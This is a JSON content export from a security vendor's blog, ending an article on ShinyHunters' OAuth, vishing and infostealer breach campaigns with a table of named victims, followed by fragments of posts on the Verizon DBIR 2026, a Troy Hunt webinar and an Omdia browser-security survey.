and the legitimate auth pages that the attack flow depends on.",{"data":40007,"content":40008,"nodeType":866},{},[40009,40014],{"data":40010,"marks":40011,"value":40013,"nodeType":865},{},[40012],{"type":961},"For OAuth supply chain attacks,",{"data":40015,"marks":40016,"value":40017,"nodeType":865},{},[]," Push's detects and controls OAuth consent flows at the browser layer — capturing which application is requesting access, what scopes it's requesting, and whether the grant should be permitted under organizational policy. Push customers can also block OAuth connection requests as they transit the browser, enabling security teams to stop unwanted integrations being added in the first place. ",{"data":40019,"content":40020,"nodeType":866},{},[40021,40026],{"data":40022,"marks":40023,"value":40025,"nodeType":865},{},[40024],{"type":961},"For the infostealer credential playbook,",{"data":40027,"marks":40028,"value":40029,"nodeType":865},{},[]," Push's stolen credential detection identifies when employees are using credentials that have appeared in breach datasets or dark web feeds — catching the moment a dormant infostealer credential surfaces at a browser-based login, as well as surfacing insecure login methods missing mitigating controls like MFA and enforcing them through in-browser guardrails. And on the supply side, Push's ClickFix detection addresses the browser-based delivery vector that is now the primary method for distributing infostealer malware in the first place.",{"data":40031,"content":40032,"nodeType":866},{},[40033,40036,40043],{"data":40034,"marks":40035,"value":21,"nodeType":865},{},[],{"data":40037,"content":40038,"nodeType":882},{"uri":5481},[40039],{"data":40040,"marks":40041,"value":40042,"nodeType":865},{},[],"Learn more about how you can use Push controls to protect your users from in-browser threats here. ",{"data":40044,"marks":40045,"value":21,"nodeType":865},{},[],{"data":40047,"content":40048,"nodeType":1458},{},[40049],{"data":40050,"marks":40051,"value":40053,"nodeType":865},{},[40052],{"type":961},"Closing thoughts",{"data":40055,"content":40056,"nodeType":866},{},[40057],{"data":40058,"marks":40059,"value":40060,"nodeType":865},{},[],"The campaigns documented in this post are not historical — they are ongoing, with new victims surfacing weekly and the underlying criminal infrastructure still actively developing. But the defensive strategy does not require anticipating which specific group, vector, or target sector comes next, because all of them converge on the same control point: the browser, where the attack begins or the integration decision is made. Organizations with browser-layer detection and OAuth governance in place have defense-in-depth against the full range of techniques these groups employ, regardless of which specific vector any given campaign uses.",{"data":40062,"content":40063,"nodeType":953},{},[],{"data":40065,"content":40066,"nodeType":866},{},[40067],{"data":40068,"marks":40069,"value":5006,"nodeType":865},{},[],{"data":40071,"content":40072,"nodeType":866},{},[40073],{"data":40074,"marks":40075,"value":1718,"nodeType":865},{},[],{"data":40077,"content":40078,"nodeType":866},{},[40079,40082,40088],{"data":40080,"marks":40081,"value":21,"nodeType":865},{},[],{"data":40083,"content":40084,"nodeType":882},{"uri":13728},[40085],{"data":40086,"marks":40087,"value":2812,"nodeType":865},{},[],{"data":40089,"marks":40090,"value":21,"nodeType":865},{},[],{"data":40092,"content":40093,"nodeType":953},{},[],{"data":40095,"content":40096,"nodeType":963},{},[40097],{"data":40098,"marks":40099,"value":40101,"nodeType":865},{},[40100],{"type":961},"Appendix: named ShinyHunters victims since May 2025",{"data":40103,"content":40104,"nodeType":866},{},[40105,40109,40116],{"data":40106,"marks":40107,"value":40108,"nodeType":865},{},[],"To give an indication of the scale, the following table documents all publicly named victims attributed to ShinyHunters specifically since the Salesforce campaign began in May 2025. It is not exhaustive: ShinyHunters has claimed over 1,000 organizations in aggregate across its Salesforce campaigns alone, and many victims have not been publicly named. This list also doesn’t include the billion-plus records compromised in the 2024 Snowflake breaches. The major ransomware attacks executed against M&S, Co-op, and Jaguar Land Rover claimed by the ",{"data":40110,"content":40111,"nodeType":882},{"uri":8759},[40112],{"data":40113,"marks":40114,"value":40115,"nodeType":865},{},[],"Scattered Lapsus$ Hunters \"brand\"",{"data":40117,"marks":40118,"value":40119,"nodeType":865},{},[]," also aren't listed below. ",{"data":40121,"content":40122,"nodeType":2396},{},[40123,40170,40234,40282,40330],{"data":40124,"content":40125,"nodeType":1869},{},[40126,40137,40148,40159],{"data":40127,"content":40128,"nodeType":1835},{},[40129],{"data":40130,"content":40131,"nodeType":866},{},[40132],{"data":40133,"marks":40134,"value":40136,"nodeType":865},{},[40135],{"type":961},"Campaign",{"data":40138,"content":40139,"nodeType":1835},{},[40140],{"data":40141,"content":40142,"nodeType":866},{},[40143],{"data":40144,"marks":40145,"value":40147,"nodeType":865},{},[40146],{"type":961},"Began",{"data":40149,"content":40150,"nodeType":1835},{},[40151],{"data":40152,"content":40153,"nodeType":866},{},[40154],{"data":40155,"marks":40156,"value":40158,"nodeType":865},{},[40157],{"type":961},"Named victims",{"data":40160,"content":40161,"nodeType":1835},{},[40162],{"data":40163,"content":40164,"nodeType":866},{},[40165],{"data":40166,"marks":40167,"value":40169,"nodeType":865},{},[40168],{"type":961},"Confirmed impact",{"data":40171,"content":40172,"nodeType":1869},{},[40173,40197,40207,40217],{"data":40174,"content":40175,"nodeType":1835},{},[40176],{"data":40177,"content":40178,"nodeType":866},{},[40179,40184,40188,40193],{"data":40180,"marks":40181,"value":40183,"nodeType":865},{},[40182],{"type":961},"ShinyHunters Salesforce Vishing",{"data":40185,"marks":40186,"value":40187,"nodeType":865},{},[]," (vishing + device code phishing → Salesforce connected app authorization) \n\n& ",{"data":40189,"marks":40190,"value":40192,"nodeType":865},{},[40191],{"type":961},"Salesloft/Drift Supply Chain",{"data":40194,"marks":40195,"value":40196,"nodeType":865},{},[]," (stolen OAuth tokens → downstream Salesforce access)",{"data":40198,"content":40199,"nodeType":1835},{},[40200],{"data":40201,"content":40202,"nodeType":866},{},[40203],{"data":40204,"marks":40205,"value":40206,"nodeType":865},{},[],"May 2025",{"data":40208,"content":40209,"nodeType":1835},{},[40210],{"data":40211,"content":40212,"nodeType":866},{},[40213],{"data":40214,"marks":40215,"value":40216,"nodeType":865},{},[],"Coca-Cola Europacific Partners, Cisco, Qantas, LVMH, Adidas, Google, Chanel, Pandora, Allianz Life, Air France-KLM, Farmers Insurance, Workday, TransUnion, Stellantis, Kering, Odido, Hallmark, Salesloft (origin), Toast, Avalara, Fastly, Cato Networks, Cloudflare, Palo Alto Networks, Zscaler, Tenable, Elastic, JFrog, CyberArk, Rubrik, BeyondTrust, Proofpoint, Workiva, Mercer Advisors, Beacon Pointe, Ameriprise, Kemper, Udemy, 7-Eleven, Mytheresa, Marcus & Millichap, Carnival, Pitney Bowes, Alert 360, Amtrak, McGraw-Hill, Canada Life, Charter Communications",{"data":40218,"content":40219,"nodeType":1835},{},[40220,40227],{"data":40221,"content":40222,"nodeType":866},{},[40223],{"data":40224,"marks":40225,"value":40226,"nodeType":865},{},[],"49 named victims. Confirmed individual impact includes 23M+ records (Coca-Cola), 5.7M records (Qantas), 6.2M customers (Odido), 4.4M consumers (TransUnion), up to 18M records (Stellantis), 13.5M emails (McGraw-Hill), 8.2M emails (Pitney Bowes), 7.5M emails (Carnival), 7-Eleven: 185K confirmed by HIBP (SSNs, driver's licenses; franchisee data), Charter Communications: millions of records claimed (company disputes scope). ",{"data":40228,"content":40229,"nodeType":866},{},[40230],{"data":40231,"marks":40232,"value":40233,"nodeType":865},{},[],"ShinyHunters claims 1.5B+ Salesforce records across 1,000+ organizations total.",{"data":40235,"content":40236,"nodeType":1869},{},[40237,40252,40262,40272],{"data":40238,"content":40239,"nodeType":1835},{},[40240],{"data":40241,"content":40242,"nodeType":866},{},[40243,40248],{"data":40244,"marks":40245,"value":40247,"nodeType":865},{},[40246],{"type":961},"Vishing + AiTM SSO",{"data":40249,"marks":40250,"value":40251,"nodeType":865},{},[]," (vishing → AiTM phishing page → SSO session capture → SaaS data exfiltration)",{"data":40253,"content":40254,"nodeType":1835},{},[40255],{"data":40256,"content":40257,"nodeType":866},{},[40258],{"data":40259,"marks":40260,"value":40261,"nodeType":865},{},[],"Aug 2025",{"data":40263,"content":40264,"nodeType":1835},{},[40265],{"data":40266,"content":40267,"nodeType":866},{},[40268],{"data":40269,"marks":40270,"value":40271,"nodeType":865},{},[],"SoundCloud, GrubHub, Panera Bread, Match Group, Crunchbase, Betterment, CarMax, Edmunds, CarGurus, Hims & Hers, University of Pennsylvania, Harvard University, Optimizely, TELUS Digital, Crunchyroll, ADT",{"data":40273,"content":40274,"nodeType":1835},{},[40275],{"data":40276,"content":40277,"nodeType":866},{},[40278],{"data":40279,"marks":40280,"value":40281,"nodeType":865},{},[],"16 named victims. Confirmed individual impact includes ~30M records (SoundCloud), ~14M records (Panera), 10M+ records (Match Group), ~20M records (Betterment), 5.5M people (ADT), 1M+ records (UPenn), ~1PB stolen from TELUS Digital ($65M ransom refused).",{"data":40283,"content":40284,"nodeType":1869},{},[40285,40300,40310,40320],{"data":40286,"content":40287,"nodeType":1835},{},[40288],{"data":40289,"content":40290,"nodeType":866},{},[40291,40296],{"data":40292,"marks":40293,"value":40295,"nodeType":865},{},[40294],{"type":961},"Anodot Supply Chain",{"data":40297,"marks":40298,"value":40299,"nodeType":865},{},[]," (stolen OAuth tokens → downstream Snowflake/BigQuery access)",{"data":40301,"content":40302,"nodeType":1835},{},[40303],{"data":40304,"content":40305,"nodeType":866},{},[40306],{"data":40307,"marks":40308,"value":40309,"nodeType":865},{},[],"Apr 2026",{"data":40311,"content":40312,"nodeType":1835},{},[40313],{"data":40314,"content":40315,"nodeType":866},{},[40316],{"data":40317,"marks":40318,"value":40319,"nodeType":865},{},[],"Anodot/Glassbox (origin), Rockstar Games, Vimeo, Zara/Inditex",{"data":40321,"content":40322,"nodeType":1835},{},[40323],{"data":40324,"content":40325,"nodeType":866},{},[40326],{"data":40327,"marks":40328,"value":40329,"nodeType":865},{},[],"4 named victims (12+ total claimed). 78.6M records (Rockstar Games), 197K individuals (Zara), 119K individuals (Vimeo).",{"data":40331,"content":40332,"nodeType":1869},{},[40333,40348,40357,40367],{"data":40334,"content":40335,"nodeType":1835},{},[40336],{"data":40337,"content":40338,"nodeType":866},{},[40339,40344],{"data":40340,"marks":40341,"value":40343,"nodeType":865},{},[40342],{"type":961},"Other SLH-attributed",{"data":40345,"marks":40346,"value":40347,"nodeType":865},{},[]," (misc. vectors including infostealer chains, CI/CD supply chain, SaaS platform compromise)",{"data":40349,"content":40350,"nodeType":1835},{},[40351],{"data":40352,"content":40353,"nodeType":866},{},[40354],{"data":40355,"marks":40356,"value":40206,"nodeType":865},{},[],{"data":40358,"content":40359,"nodeType":1835},{},[40360],{"data":40361,"content":40362,"nodeType":866},{},[40363],{"data":40364,"marks":40365,"value":40366,"nodeType":865},{},[],"UK Legal Aid Agency, Mixpanel, Wynn Resorts, Woflow, Vercel, European Commission, Mercor, Medtronic, Instructure",{"data":40368,"content":40369,"nodeType":1835},{},[40370],{"data":40371,"content":40372,"nodeType":866},{},[40373],{"data":40374,"marks":40375,"value":40376,"nodeType":865},{},[],"10 named victims across varied vectors. Notable: Vercel (Lumma Stealer → Context.ai OAuth app → Google Workspace), European Commission (poisoned Trivy GitHub Action → 340GB across 71 EU entities)",{"data":40378,"content":40379,"nodeType":866},{},[40380],{"data":40381,"marks":40382,"value":21,"nodeType":865},{},[],"The three attack techniques behind ShinyHunters' 2026 campaigns ","ShinyHunters' breach of Instructure is the latest in a long series of attacks. Here's our view of the big picture. ","analyzing-the-instructure-breach",{"items":40387},[40388,40390],{"sys":40389,"name":11426},{"id":11425},{"sys":40391,"name":342},{"id":8410},{"items":40393},[40394],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":40395},{"url":11434},"7-things-we-learned-from-troy-hunt","blog/7-things-we-learned-from-troy-hunt",{"json":40399},{"data":40400,"content":40401,"nodeType":1739},{},[40402],{"data":40403,"content":40404,"nodeType":866},{},[40405,40409,40417],{"data":40406,"marks":40407,"value":40408,"nodeType":865},{},[],"Troy Hunt — founder of ",{"data":40410,"content":40412,"nodeType":882},{"uri":40411},"https://haveibeenpwned.com/",[40413],{"data":40414,"marks":40415,"value":40416,"nodeType":865},{},[],"Have I Been Pwned",{"data":40418,"marks":40419,"value":40420,"nodeType":865},{},[],", and the person who has probably collected more breach data than anyone in history — joined Push field CTO Mark Orlando to talk about why credential-based attacks keep working, what breach data actually tells us about organizational risk, and why even the best human defenses aren't enough on their own.","Here are 7 things we learned from our conversation with Troy Hunt on the \"Yes, you've been pwned\" webinar. ",{"id":40423,"publishedAt":40424},"1a7lydXCDm3UakeiWQVPfQ","2026-08-12T12:00:54.383Z",{"items":40426},[40427,40429],{"sys":40428,"name":11426},{"id":11425},{"sys":40430,"name":2825},{"id":2824},{"items":40432},[40433,40435,40437,40439,40441,40443,40445,40447,40449,40451,40453,40455,40457,40459,40461,40463,40465,40467,40469,40471,40473,40475],{"sys":40434,"name":279,"slug":280,"tier":31},{"id":276},{"sys":40436,"name":413,"slug":414,"tier":31},{"id":410},{"sys":40438,"name":519,"slug":520,"tier":31},{"id":516},{"sys":40440,"name":297,"slug":298,"tier":31},{"id":294},{"sys":40442,"name":642,"slug":643,"tier":31},{"id":639},{"sys":40444,"name":333,"slug":334,"tier":45},{"id":330},{"sys":40446,"name":502,"slug":503,"tier":45},{"id":499},{"sys":40448,"name":422,"slug":423,"tier":45},{"id":419},{"sys":40450,"name":511,"slug":512,"tier":45},{"id":508},{"sys":40452,"name":466,"slug":467,"tier":45},{"id":463},{"sys":40454,"name":571,"slug":572,"tier":45},{"id":568},{"sys":40456,"name":324,"slug":325,"tier":45},{"id":321},{"sys":40458,"name":261,"slug":262,"tier":45},{"id":258},{"sys":40460,"name":315,"slug":316,"tier":45},{"id":312},{"sys":40462,"name":395,"slug":396,"tier":45},{"id":392},{"sys":40464,"name":589,"slug":590,"tier":45},{"id":586},{"sys":40466,"name":457,"slug":458,"tier":45},{"id":454},{"sys":40468,"name":607,"slug":608,"tier":45},{"id":604},{"sys":40470,"name":475,"slug":476,"tier":45},{"id":472},{"sys":40472,"name":440,"slug":441,"tier":45},{"id":437},{"sys":40474,"name":537,"slug":538,"tier":45},{"id":534},{"sys":40476,"name":528,"slug":529,"tier":45},{"id":525},"-a4IwYePRXthOxupqmWqIxVJil-CjQyZKA0JJTofdUE",{"id":40479,"title":27748,"authorsCollection":40480,"content":40484,"extension":228,"faqItemsCollection":41009,"faqTitle":59,"featured":6,"hashTags":59,"meta":41011,"metaTitle":41012,"ogImage":59,"postType":1783,"publishedDate":27750,"relatedBlogPostsCollection":41013,"slug":27751,"stem":42878,"subtitle":59,"summary":42879,"synopsis":27749,"sys":42890,"tagsCollection":42892,"topicsCollection":42898,"__hash__":42948},"blog/blog/verizon-dbir-2026-review.json",{"items":40481},[40482],{"fullName":849,"firstName":850,"jobTitle":851,"socialLinks":59,"profilePicture":40483},{"url":853},{"json":40485,"links":40939},{"data":40486,"content":40487,"nodeType":1739},{},[40488,40494,40497,40504,40517,40523,40529,40534,40541,40547,40553,40558,40573,40578,40591,40598,40611,40617,40623,40626,40633,40646,40651,40666,40671,40678,40697,40703,40706,40713,40719,40724,40730,40745,40752,40765,40768,40775,40788,40794,40800,40815,40818,40825,40831,40837,40843,40848,40855,40868,40874,40889,40892,40899,40905,40911,40917,40923],{"data":40489,"content":40490,"nodeType":866},{},[40491],{"data":40492,"marks":40493,"value":27230,"nodeType":865},{},[],{"data":40495,"content":40496,"nodeType":953},{},[],{"data":40498,"content":40499,"nodeType":963},{},[40500],{"data":40501,"marks":40502,"value":27241,"nodeType":865},{},[40503],{"type":961},{"data":40505,"content":40506,"nodeType":866},{},[40507,40510,40514],{"data":40508,"marks":40509,"value":27248,"nodeType":865},{},[],{"data":40511,"marks":40512,"value":27253,"nodeType":865},{},[40513],{"type":961},{"data":40515,"marks":40516,"value":27257,"nodeType":865},{},[],{"data":40518,"content":40519,"nodeType":866},{},[40520],{"data":40521,"marks":40522,"value":27264,"nodeType":865},{},[],{"data":40524,"content":40525,"nodeType":866},{},[40526],{"data":40527,"marks":40528,"value":27271,"nodeType":865},{},[],{"data":40530,"content":40533,"nodeType":925},{"target":40531},{"sys":40532},{"id":27276,"type":922,"linkType":923},[],{"data":40535,"content":40536,"nodeType":1458},{},[40537],{"data":40538,"marks":40539,"value":27285,"nodeType":865},{},[40540],{"type":961},{"data":40542,"content":40543,"nodeType":866},{},[40544],{"data":40545,"marks":40546,"value":27292,"nodeType":865},{},[],{"data":40548,"content":40549,"nodeType":866},{},[40550],{"data":40551,"marks":40552,"value":27299,"nodeType":865},{},[],{"data":40554,"content":40557,"nodeType":925},{"target":40555},{"sys":40556},{"id":27304,"type":922,"linkType":923},[],{"data":40559,"content":40560,"nodeType":866},{},[40561,40564,40570],{"data":40562,"marks":40563,"value":27312,"nodeType":865},{},[],{"data":40565,"content":40566,"nodeType":882},{"uri":18999},[40567],{"data":40568,"marks":40569,"value":27319,"nodeType":865},{},[],{"data":40571,"marks":40572,"value":1048,"nodeType":865},{},[],{"data":40574,"content":40577,"nodeType":925},{"target":40575},{"sys":40576},{"id":15574,"type":922,"linkType":923},[],{"data":40579,"content":40580,"nodeType":866},{},[40581,40584,40588],{"data":40582,"marks":40583,"value":27334,"nodeType":865},{},[],{"data":40585,"marks":40586,"value":27339,"nodeType":865},{},[40587],{"type":961},{"data":40589,"marks":40590,"value":27343,"nodeType":865},{},[],{"data":40592,"content":40593,"nodeType":1458},{},[40594],{"data":40595,"marks":40596,"value":27351,"nodeType":865},{},[40597],{"type":961},{"data":40599,"content":40600,"nodeType":866},{},[40601,40604,40608],{"data":40602,"marks":40603,"value":27358,"nodeType":865},{},[],{"data":40605,"marks":40606,"value":27363,"nodeType":865},{},[40607],{"type":944},{"data":40609,"marks":40610,"value":27367,"nodeType":865},{},[],{"data":40612,"content":40613,"nodeType":866},{},[40614],{"data":40615,"marks":40616,"value":27374,"nodeType":865},{},[],{"data":40618,"content":40619,"nodeType":866},{},[40620],{"data":40621,"marks":40622,"value":27381,"nodeType":865},{},[],{"data":40624,"content":40625,"nodeType":953},{},[],{"data":40627,"content":40628,"nodeType":963},{},[40629],{"data":40630,"marks":40631,"value":27392,"nodeType":865},{},[40632],{"type":961},{"data":40634,"content":40635,"nodeType":866},{},[40636,40639,40643],{"data":40637,"marks":40638,"value":27399,"nodeType":865},{},[],{"data":40640,"marks":40641,"value":27404,"nodeType":865},{},[40642],{"type":961},{"data":40644,"marks":40645,"value":27408,"nodeType":865},{},[],{"data":40647,"content":40650,"nodeType":925},{"target":40648},{"sys":40649},{"id":27413,"type":922,"linkType":923},[],{"data":40652,"content":40653,"nodeType":866},{},[40654,40657,40663],{"data":40655,"marks":40656,"value":27421,"nodeType":865},{},[],{"data":40658,"content":40659,"nodeType":882},{"uri":25940},[40660],{"data":40661,"marks":40662,"value":27428,"nodeType":865},{},[],{"data":40664,"marks":40665,"value":27432,"nodeType":865},{},[],{"data":40667,"content":40670,"nodeType":925},{"target":40668},{"sys":40669},{"id":27437,"type":922,"linkType":923},[],{"data":40672,"content":40673,"nodeType":1458},{},[40674],{"data":40675,"marks":40676,"value":27446,"nodeType":865},{},[40677],{"type":961},{"data":40679,"content":40680,"nodeType":866},{},[40681,40684,40690,40693],{"data":40682,"marks":40683,"value":27453,"nodeType":865},{},[],{"data":40685,"content":40686,"nodeType":882},{"uri":9176},[40687],{"data":40688,"marks":40689,"value":27460,"nodeType":865},{},[],{"data":40691,"marks":40692,"value":27464,"nodeType":865},{},[],{"data":40694,"marks":40695,"value":27469,"nodeType":865},{},[40696],{"type":961},{"data":40698,"content":40699,"nodeType":866},{},[40700],{"data":40701,"marks":40702,"value":27476,"nodeType":865},{},[],{"data":40704,"content":40705,"nodeType":953},{},[],{"data":40707,"content":40708,"nodeType":963},{},[40709],{"data":40710,"marks":40711,"value":27487,"nodeType":865},{},[40712],{"type":961},{"data":40714,"content":40715,"nodeType":866},{},[40716],{"data":40717,"marks":40718,"value":27494,"nodeType":865},{},[],{"data":40720,"content":40723,"nodeType":925},{"target":40721},{"sys":40722},{"id":27499,"type":922,"linkType":923},[],{"data":40725,"content":40726,"nodeType":866},{},[40727],{"data":40728,"marks":40729,"value":27507,"nodeType":865},{},[],{"data":40731,"content":40732,"nodeType":866},{},[40733,40736,40742],{"data":40734,"marks":40735,"value":27514,"nodeType":865},{},[],{"data":40737,"content":40738,"nodeType":882},{"uri":1335},[40739],{"data":40740,"marks":40741,"value":27521,"nodeType":865},{},[],{"data":40743,"marks":40744,"value":27525,"nodeType":865},{},[],{"data":40746,"content":40747,"nodeType":1458},{},[40748],{"data":40749,"marks":40750,"value":27533,"nodeType":865},{},[40751],{"type":961},{"data":40753,"content":40754,"nodeType":866},{},[40755,40758,40762],{"data":40756,"marks":40757,"value":27540,"nodeType":865},{},[],{"data":40759,"marks":40760,"value":27545,"nodeType":865},{},[40761],{"type":961},{"data":40763,"marks":40764,"value":27549,"nodeType":865},{},[],{"data":40766,"content":40767,"nodeType":953},{},[],{"data":40769,"content":40770,"nodeType":963},{},[40771],{"data":40772,"marks":40773,"value":27560,"nodeType":865},{},[40774],{"type":961},{"data":40776,"content":40777,"nodeType":866},{},[40778,40781,40785],{"data":40779,"marks":40780,"value":27567,"nodeType":865},{},[],{"data":40782,"marks":40783,"value":27572,"nodeType":865},{},[40784],{"type":961},{"data":40786,"marks":40787,"value":27576,"nodeType":865},{},[],{"data":40789,"content":40790,"nodeType":866},{},[40791],{"data":40792,"marks":40793,"value":27583,"nodeType":865},{},[],{"data":40795,"content":40796,"nodeType":866},{},[40797],{"data":40798,"marks":40799,"value":27590,"nodeType":865},{},[],{"data":40801,"content":40802,"nodeType":866},{},[40803,40806,40812],{"data":40804,"marks":40805,"value":27597,"nodeType":865},{},[],{"data":40807,"content":40808,"nodeType":882},{"uri":3288},[40809],{"data":40810,"marks":40811,"value":27604,"nodeType":865},{},[],{"data":40813,"marks":40814,"value":27608,"nodeType":865},{},[],{"data":40816,"content":40817,"nodeType":953},{},[],{"data":40819,"content":40820,"nodeType":963},{},[40821],{"data":40822,"marks":40823,"value":27619,"nodeType":865},{},[40824],{"type":961},{"data":40826,"content":40827,"nodeType":866},{},[40828],{"data":40829,"marks":40830,"value":27626,"nodeType":865},{},[],{"data":40832,"content":40833,"nodeType":866},{},[40834],{"data":40835,"marks":40836,"value":27633,"nodeType":865},{},[],{"data":40838,"content":40839,"nodeType":866},{},[40840],{"data":40841,"marks":40842,"value":27640,"nodeType":865},{},[],{"data":40844,"content":40847,"nodeType":925},{"target":40845},{"sys":40846},{"id":27645,"type":922,"linkType":923},[],{"data":40849,"content":40850,"nodeType":1458},{},[40851],{"data":40852,"marks":40853,"value":27654,"nodeType":865},{},[40854],{"type":961},{"data":40856,"content":40857,"nodeType":866},{},[40858,40861,40865],{"data":40859,"marks":40860,"value":27661,"nodeType":865},{},[],{"data":40862,"marks":40863,"value":27666,"nodeType":865},{},[40864],{"type":961},{"data":40866,"marks":40867,"value":27670,"nodeType":865},{},[],{"data":40869,"content":40870,"nodeType":866},{},[40871],{"data":40872,"marks":40873,"value":27677,"nodeType":865},{},[],{"data":40875,"content":40876,"nodeType":866},{},[40877,40880,40886],{"data":40878,"marks":40879,"value":27684,"nodeType":865},{},[],{"data":40881,"content":40882,"nodeType":882},{"uri":27049},[40883],{"data":40884,"marks":40885,"value":27691,"nodeType":865},{},[],{"data":40887,"marks":40888,"value":1048,"nodeType":865},{},[],{"data":40890,"content":40891,"nodeType":953},{},[],{"data":40893,"content":40894,"nodeType":963},{},[40895],{"data":40896,"marks":40897,"value":27705,"nodeType":865},{},[40898],{"type":961},{"data":40900,"content":40901,"nodeType":866},{},[40902],{"data":40903,"marks":40904,"value":27712,"nodeType":865},{},[],{"data":40906,"content":40907,"nodeType":866},{},[40908],{"data":40909,"marks":40910,"value":27719,"nodeType":865},{},[],{"data":40912,"content":40913,"nodeType":866},{},[40914],{"data":40915,"marks":40916,"value":2792,"nodeType":865},{},[],{"data":40918,"content":40919,"nodeType":866},{},[40920],{"data":40921,"marks":40922,"value":1718,"nodeType":865},{},[],{"data":40924,"content":40925,"nodeType":866},{},[40926,40929,40936],{"data":40927,"marks":40928,"value":21,"nodeType":865},{},[],{"data":40930,"content":40931,"nodeType":882},{"uri":1728},[40932],{"data":40933,"marks":40934,"value":2812,"nodeType":865},{},[40935],{"type":997},{"data":40937,"marks":40938,"value":21,"nodeType":865},{},[],{"entries":40940},{"hyperlink":40941,"inline":40942,"block":40943},[],[],[40944,40950,40975,40978,40992,40997,41004],{"sys":40945,"__typename":1747,"title":40946,"caption":40946,"layoutMode":59,"file":40947},{"id":27276},"DBIR Figure 10 (p.15) — Initial access vectors, select enumerations",{"url":40948,"width":1759,"height":40949},"https://images.ctfassets.net/y1cdw1ablpvd/18rPvZ4Sw11UCHE7MxzXkd/17d059302242b4034686b13ee3044c8e/image4.png",1521,{"sys":40951,"__typename":9270,"content":40952,"name":40974,"title":59},{"id":27304},{"json":40953},{"nodeType":1739,"data":40954,"content":40955},{},[40956],{"nodeType":866,"data":40957,"content":40958},{},[40959,40963,40970],{"nodeType":865,"value":40960,"marks":40961,"data":40962},"Some of the ",[],{},{"nodeType":882,"data":40964,"content":40965},{"uri":14031},[40966],{"nodeType":865,"value":40967,"marks":40968,"data":40969},"most consequential identity-based campaigns of the past 12 months",[],{},{"nodeType":865,"value":40971,"marks":40972,"data":40973}," don't map cleanly to any of these categories — the mass Salesforce campaign that compromised over 1,000 organizations via device code phishing, the Anodot breach chain that pivoted through stored OAuth tokens to reach Snowflake customers, ConsentFix abusing Azure CLI's OAuth flow to bypass MFA entirely.",[],{},"DBIR 2026 IB1",{"sys":40976,"__typename":1747,"title":15454,"caption":29431,"layoutMode":59,"file":40977},{"id":15574},{"url":29433,"width":29434,"height":29435},{"sys":40979,"__typename":9270,"content":40980,"name":40991,"title":59},{"id":27413},{"json":40981},{"data":40982,"content":40983,"nodeType":1739},{},[40984],{"data":40985,"content":40986,"nodeType":866},{},[40987],{"data":40988,"marks":40989,"value":40990,"nodeType":865},{},[],"The data is a little confusing. The DBIR draws a line between Phishing (asynchronous — send a message and hope for a click) and Pretexting (synchronous — someone interacting with you in real time). Voice phishing over a phone call is Pretexting in VERIS, not Phishing, even though most practitioners would call it phishing. Browser-based credential harvesting delivered via SEO poisoning or malicious downloads falls under \"Baiting.\" So the 16% phishing figure probably understates the full scope of credential-harvesting social engineering as most defenders would define it.","DBIR IB2",{"sys":40993,"__typename":1747,"title":40994,"caption":40994,"layoutMode":59,"file":40995},{"id":27437},"DBIR Figure 54 (p.49) — Median percentage of email attack types by month",{"url":40996,"width":1759,"height":40949},"https://images.ctfassets.net/y1cdw1ablpvd/4eWtJSz2QhM6QgXXjNuBNs/e6a33a088b7b0fb0dd1649c5d9164b53/image1.png",{"sys":40998,"__typename":1747,"title":40999,"caption":40999,"layoutMode":59,"file":41000},{"id":27499},"DBIR Figure 48 (p.45) — Credential leakage events prior to ransomware",{"url":41001,"width":41002,"height":41003},"https://images.ctfassets.net/y1cdw1ablpvd/26NpMQ31lpHgp5x8FrDumz/f022f1ede66b171dd756d28009a7d4a5/image2.png",1772,776,{"sys":41005,"__typename":1747,"title":41006,"caption":41006,"layoutMode":59,"file":41007},{"id":27645},"DBIR Figure 65 (p.60) — Select data types in DLP events targeting generative AI tools",{"url":41008,"width":1759,"height":40949},"https://images.ctfassets.net/y1cdw1ablpvd/584Txvap6FW9GlFlin9GwB/f5f5488251d9faee7fedc3030d2390b1/image5.png",{"items":41010},[],{},"What the Verizon DBIR tells us about breaches in 2026",{"items":41014},[41015,41603,42436],{"__typename":1788,"sys":41016,"content":41018,"title":41590,"synopsis":41591,"hashTags":59,"publishedDate":36305,"slug":41592,"tagsCollection":41593,"authorsCollection":41599},{"id":41017},"217s8zu5idSdX25TUgbPQ1",{"json":41019},{"data":41020,"content":41021,"nodeType":1739},{},[41022,41040,41047,41054,41060,41063,41071,41087,41094,41100,41107,41190,41197,41202,41209,41215,41218,41226,41238,41245,41257,41260,41268,41283,41290,41297,41300,41308,41315,41331,41337,41353,41360,41367,41374,41390,41397,41400,41408,41415,41431,41438,41441,41449,41465,41472,41491,41503,41506,41514,41530,41537,41544,41551,41558,41561,41568,41574],{"data":41023,"content":41024,"nodeType":866},{},[41025,41028,41036],{"data":41026,"marks":41027,"value":873,"nodeType":865},{},[],{"data":41029,"content":41031,"nodeType":882},{"uri":41030},"https://research.esg-global.com/reportaction/515202191/Marketing",[41032],{"data":41033,"marks":41034,"value":41035,"nodeType":865},{},[],"Omdia Browser Management and Security report",{"data":41037,"marks":41038,"value":41039,"nodeType":865},{},[],", based on a survey of 400 IT and security professionals across North America fielded in late 2025, is the most comprehensive industry data to date on how organizations are experiencing, prioritizing, and investing in the secure enterprise browser (SEB) market. ",{"data":41041,"content":41042,"nodeType":866},{},[41043],{"data":41044,"marks":41045,"value":41046,"nodeType":865},{},[],"For us at Push, it externally validates what we've known to be true for some time — the browser is where work happens, where attacks land, and where defenders need to be if they want to detect and stop threats before damage is done.",{"data":41048,"content":41049,"nodeType":866},{},[41050],{"data":41051,"marks":41052,"value":41053,"nodeType":865},{},[],"We pulled out seven findings that matter most for security teams evaluating their approach.",{"data":41055,"content":41059,"nodeType":925},{"target":41056},{"sys":41057},{"id":41058,"type":922,"linkType":923},"4aM879egIFYmDvOhzyNI9A",[],{"data":41061,"content":41062,"nodeType":953},{},[],{"data":41064,"content":41065,"nodeType":963},{},[41066],{"data":41067,"marks":41068,"value":41070,"nodeType":865},{},[41069],{"type":961},"1. The attacks driving concern are the ones happening inside the browser session",{"data":41072,"content":41073,"nodeType":866},{},[41074,41078,41083],{"data":41075,"marks":41076,"value":41077,"nodeType":865},{},[],"The threat picture is driving everything else in this report, so it's the right place to start. ",{"data":41079,"marks":41080,"value":41082,"nodeType":865},{},[41081],{"type":961},"49% of organizations suffered a successful browser-based attack in the last 12 months.",{"data":41084,"marks":41085,"value":41086,"nodeType":865},{},[]," Among those affected, browser-originated incidents account for roughly 37% of all security incidents — and 68% say that share has grown over the past two years. 